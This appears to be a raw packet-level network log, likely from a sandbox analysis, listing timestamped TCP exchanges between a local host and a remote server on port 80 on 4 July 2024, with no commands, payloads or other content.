Jul 4, 2024 22:20:32.121597052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121607065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121644020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.121644020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.121887922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121959925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121969938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122031927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122062922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122073889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122082949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122096062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122123003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122123003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122170925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122281075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122292042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122366905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122366905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122379065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122416019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122416019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122534990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122545004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122554064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122565031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122591019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122637987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122742891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122754097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122762918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122772932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122791052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122803926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122869968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.122905970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.122944117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123040915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123050928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123060942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123076916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123086929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123095036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123099089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123127937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123127937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123208046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123303890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123383999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123426914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123436928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123445988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123456001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123466015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123475075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123476982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123487949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123497963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123502016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123509884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.123516083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123538971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.123580933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124006987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124017000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124027014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124038935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124047995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124054909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124059916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124078035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124085903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124089003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124099016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124102116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124114037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124115944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124125004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124135971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124159098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124159098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124208927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124571085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124581099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124591112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124639988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124723911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124737024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124746084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124757051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124773979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124841928 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124867916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124878883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124887943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124897957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124907970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124913931 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124918938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124929905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124939919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124941111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124948978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124959946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124965906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124972105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.124982119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.124995947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125031948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125778913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125790119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125799894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125809908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125821114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125830889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125832081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125843048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125854969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125865936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125865936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125869989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125881910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125891924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125900984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125902891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125902891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125910997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125921011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125931978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.125943899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125953913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.125969887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126729012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126740932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126749039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126760006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126771927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126780033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126784086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126795053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126805067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126812935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126812935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126816034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126827002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126837015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126841068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126847982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126858950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126869917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126880884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126888037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126888037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126893044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126904964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.126920938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126920938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.126961946 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.127567053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127578974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127588987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127599001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127609015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127615929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.127620935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127631903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127643108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127645969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.127645969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.127654076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.127691984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.127691984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.215260029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215270996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215281010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215348959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.215399027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215410948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215465069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.215605021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215615988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215625048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215672016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.215672016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.215856075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215868950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215879917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215928078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.215939999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215950966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.215960026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216001987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216001987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216094971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216105938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216115952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216133118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216161013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216161013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216351032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216362000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216372013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216382027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216392040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216403961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216409922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216420889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216459036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216640949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216691971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216738939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216749907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216759920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216763020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216772079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216784000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216794014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216794014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216813087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216857910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216867924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216916084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216916084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.216964960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216975927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216984987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.216995001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217005968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217009068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217042923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217042923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217292070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217304945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217354059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217354059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217397928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217407942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217417002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217427015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217439890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217451096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217452049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217452049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217463017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217473984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217492104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217511892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217511892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217883110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217894077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217904091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217914104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217925072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.217953920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217953920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.217967987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218151093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218297005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218308926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218318939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218329906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218334913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218339920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218353033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218362093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218364954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218378067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218389988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218391895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218399048 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218401909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218414068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218434095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218458891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218894958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218905926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218914986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218928099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218939066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218949080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218951941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218951941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218964100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218974113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218974113 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.218983889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.218998909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219010115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219014883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219014883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219022036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219034910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219047070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219058037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219058990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219058990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219069004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219079971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219091892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219104052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219104052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219121933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219151974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219748020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219758987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219774008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219784975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219794989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219796896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219796896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219806910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219813108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219820023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219830036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219839096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219840050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219851971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219861031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219871044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219872952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219872952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219882011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219892979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219902992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219908953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219914913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219918013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219928026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219932079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219938993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219950914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.219978094 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.219978094 CEST	49704	80	192.168.2.5	85.28.47.30
